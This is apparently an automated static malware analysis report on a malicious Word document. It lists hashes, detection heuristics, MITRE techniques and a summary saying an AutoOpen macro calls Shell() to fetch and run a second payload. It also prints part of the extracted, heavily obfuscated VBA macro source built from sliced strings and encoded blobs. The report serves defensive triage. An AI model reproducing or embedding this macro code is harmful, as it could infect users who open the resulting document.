Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3f75ee07639bbceb…

MALICIOUS

Office (OLE)

80.0 KB Created: 2017-10-18 20:27:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: c18a79a8cdb7a8dc8237d9fe4c654902 SHA-1: 14db95d275bad7fe63fbdbacec967309b660240b SHA-256: 3f75ee07639bbcebf9b904debae1b40ae1e2f2cbfcef44caeda21a9dae71c982
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. Heuristics indicate the presence of an AutoOpen macro that uses the Shell() function, a critical indicator of malicious intent. The ClamAV detection name 'Doc.Macro.Obfuscation-6355576-0' further supports its classification as malware. The VBA script is heavily obfuscated, but the presence of the Shell() call strongly suggests it's designed to download and execute a secondary payload.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15226 bytes
SHA-256: d771237b4f8cd395516895dc13cc3059d80684dc02faa1354d7aba9b11a11355
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 38 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function awwTFHXkJ()
Ovnzwp = "D8JG0VDAPGG97PLXKQGXTNTWV29GJZHSMuwRBCOMYrBpbaPEiHAXSXZsEKKmRldqfSmdIOmUFWPhtnaGLnbBYkAoVEMrrbumOLJJolvQVfSvIrwRkDbdJbRvRzIEBvcdbcTidQSZrLjtSEjdFvGozRdmtOrqcrOZDoUfYPnTkBlzvYcNQfwFpniKzhpPZbwAzHpikBFpImDzffrVmiawsIkPJKfqaYuIFlAniwcOaIzCkjiTpTcuBzHoWZUZVOPjrusufDmnBMWkKhfdfMAHvAHFdLRIdDsMtNLpnknTTCOC5WVOK"
uWRRi = Mid(Ovnzwp, 28, 268)
lNmSkvw = uWRRi
zFnKwuaiUpw = "3AOFN8L4FO0kSRdCZTNtSzXIXhGRPQwIwKPmIQdXIABPGPPLYqwufzpBvRnVadSjrjmHBquJpplRwHBHRutYSBdAVOqqcHzfiRYWdIJhwoEqMXEoPjEfktRpGlmnzDhhrGjfjiiJlLcdwmnzJCavDRuoAiQrVWhsGXwGoZElCvuZQnsTwoizdmU5K4UMPM"
viRNAjCG = Mid(zFnKwuaiUpw, 12, 171)
uNUkIAZP = viRNAjCG
BtcORKhim = "PKO9J8GU8R9XLGQKX48EB0YLNcBtYOsrHzTZYG70B9YND42"
VLwzD = Mid(BtcORKhim, 26, 11)
XWiNpc = VLwzD
JpZMICoLJ = "OM64YOSNUBiZLuiAOmnOdkXZnjJjwptIXVXMqwthskOUsYutvDWPHfvjQSjRfuwnsWCqXSKStGWtVDhPlQovSiArarwXQbBzmbbWWEWdtEWBJCKMlQfOGDVNVKQfVmCREYGubKshuLBOHzhXhjmzwnqiFNBLoqHGCFzlvQlaYwUvBGGWcswlADURhYoNJjsDDvMCCwcRwLazSvhzHfiwsVFzkfDXbYRrFQrFuDTjPhnpcWwmrpFizwLhqNSOCW5MH7UPB7O9DLECR"
ErkIO = Mid(JpZMICoLJ, 11, 241)
bbOXjGrJoWz = ErkIO
EEJhiXPhOV = "RAmjptpdXdouruJNHornnQUldKwTJqzWqpvYOaGHSbFhcOmIjzlZTCATTACiuVUjjRDCwlwhikULLmJPYpkKFXDoocENYbMwHZAKKkKwAEqjhoIhrnGFlJbIOPNWjlJGXXEllwEofmJBhTGATXWkVHLzzrvvWnROvjLKkWvsiSZzzabvJNCJPYlQMGotCJRrUuGzIwPzbdBChMzXQAlJlIzWzuwdiCqZBhiEUdmMzFhlWijzIQdBXHGLvjzNwmPZncBzhsDmNZMfaOAPLwURYoBuVNXBK7W4RB7OHXHYYQLYJWGK2SL6"
LEIOvIt = Mid(EEJhiXPhOV, 3, 278)
oJqGCGqtRAq = LEIOvIt
KSrbEE = "STAON253iFTHRUTlvAsmCrATiwAfbWWCHmvAwOwPSRFkGpiwlWckRmoujZSJjktLjRAfYTohDcTkmQNtTBtFumlUwBUXvmjiXtBpozZShujoSDIPMZphroRwjfjXzRmQvlNsOYEUcbXAFwBvsELWwwrjcEJITCSQIQsjqQBnUVFPQQrjilivGPTwudPKPvBZJHrpDUFcDXCbtbSLMZihXWJswvmMBqYYUfGJYCfJfCsjNsDTLDzpRTCmzzsIisbMwdHNVImKtVCViafEsSAzsjHAdPDR043FQQ0HWGKBJVPV7252RVKAS"
zwXwOPVtu = Mid(KSrbEE, 9, 273)
qIHnFWpdMl = zwXwOPVtu
kErMadHYFmL = "ZWGQ6D2PJ8R2NWLCjvhzns3APLX8EUFWRMJ4YIWNP6K6R0"
wIJpu = Mid(kErMadHYFmL, 15, 8)
fvCjs = wIJpu
mZsjEwzJq = "1ASINTLZKXanafkkkpzCQnvvRjIWUnQPsdUPVGkBzNAWuPuwquUCVwhFnLjzLoFWHKuzLVOdFvFDnZBClJjZTNutvObJXnpIHdPkUzmUfqzZsiROKjLCIfDtQBBwtEFSFzvKJRioWMtdQUBRzNzrbnAbaVTTvpbbkiTvjHEtwWfvmZdvzkzfFOqSzTjozPthkSslAFipJGsEIEpArYTKqvWWoBwPXPvjdwLThsuW62TG"
tKXrXAaJqEL = Mid(mZsjEwzJq, 6, 226)
jCRopWFnic = tKXrXAaJqEL
YwtpPQGcED = "XGB2LB67VWsFpatisBDbEELCjLiQWNhRjlSmuJFKPhlznKrNvtiwjPkBTvPzzaqEpbZDHHojwtLXSNOWUVUdikiQBRTwtGV3M33STU60"
RtwoCr = Mid(YwtpPQGcED, 10, 85)
SjYbiuYO = RtwoCr
nVRzja = "GDZASRGZ8N7GV8I4EJPFI0IXFGN2YF792bSJkdZOKpIwuhjRPNqnwuakhjkBARzAwaHYOjSIoKBqSPGhbjEDiADzAhWKX"
sskUwWTM = Mid(nVRzja, 34, 57)
vvEhV = sskUwWTM
MwrGUD = "MuCJWwVlKsdjwYwjrowVzzGSRtKJbJsVSziYHjZXACrFloTWntHWXLuunkscnLKAzHQwuXbKPYVvHBjcaoWhCWwHEjkXnwjprrFdYWcPSwHwqznmDPCzpczdJIsLmEXSpjDQvCDDLGPGPAQFwwTYtkzPtcUQiQdNZoJKwWqALzniNrNIrmPnlwYFjoWTinZvdChbr4ZLBFFYRT4LXTK0S14S2LUGHZIV"
vwWJnsjwbfU = Mid(MwrGUD, 2, 196)
wcXPsj = vwWJnsjwbfU
qIHnFWpdMl jCRopWFnic + wcXPsj + lNmSkvw + oJqGCGqtRAq + vvEhV + XWiNpc + fvCjs + uNUkIAZP + bbOXjGrJoWz + SjYbiuYO
End Function
Function TljuHLjci()
NjkNtikLo = "DGQAwADYAcAAxADAAMQBmADkAOQBMADEAMQA2AGYAMwAyAHAAMQAxADQATAA5ADcAcgAxADEAMABMADEAMAAwAHAAMQAxADEAcAAxADAAOQB9ADUAOQBYADMANgB0ADEAMQA3ACUAMQAxADQAJQAxADAAOABYADEAMQA1AH0AMwAyAHQANgAxADoAMwAyAHAAMwA5ACUAMQAwADQAcgAxADEANgBMADEAMQA2AHAAMQAxADIAcAA1ADgAfQA0ADcAJQA0ADcAZgA6G3OBOJCEIKJZMXU4XLPDD981HQIRNC"
YlNUdD = Mid(NjkNtikLo, 4, 265)
BwfsCbr = YlNUdD
NaUiF = "28C7YLUMICDULMgBYADMANgBwADEAMQA0AHQAOQA3AHAAMQAxADAAOgAxADAAMAB9ADEAMQAxACUAMQAwADkAZgA0ADYAcgAxADEAMABYADEAMAAxADoAMQAyADAAOgAxADEANgBYADQAMAA6ADQAOQB0ADQANABmADMAMgBMADUANAB0ADUAMwByADUAMwA6ADUAMQA6ADUANAB0ADQAMQBmADUAOQB0ADMANgBYADEAMQAyAFgAOQA3ADoAMQAxADYAJQAxADAANAA6ADMAMgBmC88QBF1T0W8QR1VL9VX52I"
fBtGIjrcC = Mid(NaUiF, 14, 
... (truncated)

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